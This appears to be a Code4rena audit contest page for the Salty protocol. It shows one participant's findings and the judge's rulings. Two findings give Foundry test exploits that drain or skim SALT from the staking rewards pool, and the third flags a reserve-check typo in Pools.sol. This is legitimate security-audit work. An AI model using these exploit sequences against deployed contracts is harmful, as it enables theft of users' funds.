Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 79/178
Findings: 2
Award: $89.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xCiphky
Also found by: 0x3b, 0xCiphky, DedOhWale, Evo, J4X, OMEN, RootKit0xCE, Silvermist, Stormreckson, Toshii, a3yip6, ether_sky, israeladelaja, stackachu, twcctop, zhaojie
87.7413 USDC - $87.74
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/Staking.sol#L41-L79
user can drain all salt tokens from STAKED_SALT pool in StakingRewards contract.
since user.virtualRewards is 0 because when first user stake the totalShares[poolID] is 0
so if (existingTotalShares != 0)
is true the user.virtualRewards remains 0.
uint256 existingTotalShares = totalShares[poolID]; if (existingTotalShares != 0) { uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount, existingTotalShares); user.virtualRewards += uint128(virtualRewardsToAdd); totalRewards[poolID] += uint128(virtualRewardsToAdd); }
i added this test in Staking.t.sol
function init() public { // use DEPLOYER or initialDistribution as in Stake2 test. vm.startPrank(DEPLOYER); salt.approve(address(staking), type(uint256).max); AddedReward[] memory addedRewards = new AddedReward[](1); addedRewards[0] = AddedReward(PoolUtils.STAKED_SALT, 200000 ether); staking.addSALTRewards(addedRewards); } function testDrainAllTokens() public { init(); // @notice: change alice salt balance in setUp() just for better understanding // to see that alice drained all the tokens. // salt.transfer(alice, 10 ether); // vm.prank(alice); // salt.approve(address(staking), type(uint256).max); // uint256 amountToStake = 1 ether; uint256 amountToUnstake = 1 ether; assertEq(salt.balanceOf(address(alice)), 10 ether); assertEq(salt.balanceOf(address(staking)), 200000 ether); console.log("Alice balance before ::", salt.balanceOf(address(alice))); console.log("Staked balance before::", salt.balanceOf(address(staking))); vm.startPrank(alice); staking.stakeSALT(amountToStake); // staking salt tokens. staking.unstake(amountToUnstake, 2); // unstake salt tokens. assertEq(salt.balanceOf(address(alice)), 9 ether + 200000 ether); assertEq(salt.balanceOf(address(staking)), 1 ether); console.log("Alice balance after ::", salt.balanceOf(address(alice))); console.log("Staked balance after::", salt.balanceOf(address(staking))); }
Token-Transfer
#0 - c4-judge
2024-02-02T16:28:38Z
Picodes marked the issue as duplicate of #614
#1 - c4-judge
2024-02-18T11:22:46Z
Picodes marked the issue as satisfactory
🌟 Selected for report: 0xCiphky
Also found by: 0x3b, 0xCiphky, DedOhWale, Evo, J4X, OMEN, RootKit0xCE, Silvermist, Stormreckson, Toshii, a3yip6, ether_sky, israeladelaja, stackachu, twcctop, zhaojie
87.7413 USDC - $87.74
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/Staking.sol#L60-L97
user can steal tokens from STAKED_SALT pool and he get more tokens every time rewards added.
each time SALT tokens added into StakingRewards vai StakingRewards::addSALTRewards user will just
unstake and then cancelUnstake to get more SALT tokens from the pool.
add this into Staking.t.sol
function testUserDrainTokensForFree() public { // setUp just for test: // // salt.transfer(alice, 500 ether); // vm.prank(alice); // salt.approve(address(staking), type(uint256).max); // // salt.transfer(bob, 1000 ether); // vm.prank(bob); // salt.approve(address(staking), type(uint256).max); // // salt.transfer(charlie, 10000 ether); // vm.prank(charlie); // salt.approve(address(staking), type(uint256).max); uint256 amountToStake = 500 ether; uint256 amountToUnstake = 500 ether; // staker 1. vm.startPrank(bob); staking.stakeSALT(1000 ether); console.log("Alice balance before ::", salt.balanceOf(address(alice))); console.log("Stacking balance before::", salt.balanceOf(address(staking))); // staker alice stake 500e18 vm.startPrank(alice); staking.stakeSALT(amountToStake); // loop twice or more in this example we make charlie add rewards twice // but it could be charlie and someone else, and so on. // the more times addSALTRewards called the more alice gets free tokens. for (uint256 i; i < 3; i++) { vm.startPrank(charlie); AddedReward[] memory addedRewards = new AddedReward[](1); addedRewards[0] = AddedReward(PoolUtils.STAKED_SALT, 1000 ether); staking.addSALTRewards(addedRewards); vm.startPrank(alice); uint256 unstakeID = staking.unstake(amountToUnstake, 2); staking.cancelUnstake(unstakeID); } console.log("Alice balance after ::", salt.balanceOf(address(alice))); console.log("Stacking balance after::", salt.balanceOf(address(staking))); }
Manuel
Token-Transfer
#0 - c4-judge
2024-02-02T16:31:41Z
Picodes marked the issue as primary issue
#1 - c4-judge
2024-02-07T16:27:05Z
Picodes marked the issue as duplicate of #614
#2 - c4-judge
2024-02-18T11:26:20Z
Picodes marked the issue as partial-50
#3 - Picodes
2024-02-18T11:26:32Z
The root cause isn't properly identified or described here
🌟 Selected for report: neocrao
Also found by: 00xSEV, 0x11singh99, 0x3b, 0xAlix2, 0xRobocop, 0xSmartContractSamurai, 0xanmol, AgileJune, Drynooo, HALITUS, Imp, J4X, KHOROAMU, Kalyan-Singh, MSaptarshi, RootKit0xCE, The-Seraphs, agadzhalov, aman, ayden, cu5t0mpeo, erosjohn, ewah, jasonxiale, jesjupyter, juancito, klau5, memforvik, okolicodes, parrotAudits0, rudolph, t0x1c, wangxx2026, zhaojohnson
1.6255 USDC - $1.63
https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/Pools.sol#L187
the impact of the bug is high. the issue is that simple mistake can destroy lot of funtions and manipulate the ratio of pools.
As we see this simple of error can cause a big issues.
This line of code setup reserve0/reserve1 as we see if reserve0 or reserve1 is 0 this become the initial token ratio. since it will be execute only the first time. but in Check reserve0/reserve1 the if statement checks only reserve0 twice and not reserve1 in this case the reserve1 could be 0. so next time wallet add liquidity this will be true setup reserve0/reserve1 so the new added Liquidity will manipulate the ratio of the pool.
also there is some funtions that will revert if reserve1 is less than PoolUtils.DUST
- require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal"); + require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve1 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
Other
#0 - c4-judge
2024-02-01T23:02:28Z
Picodes marked the issue as duplicate of #647
#1 - c4-judge
2024-02-19T15:39:01Z
Picodes changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-02-19T15:43:45Z
Picodes marked the issue as partial-50
#3 - c4-judge
2024-02-19T15:43:49Z
Picodes marked the issue as satisfactory
#4 - Picodes
2024-02-19T15:44:04Z
"the impact of the bug is high. the issue is that simple mistake can destroy lot of funtions and manipulate the ratio of pools." -> please prove your assumptions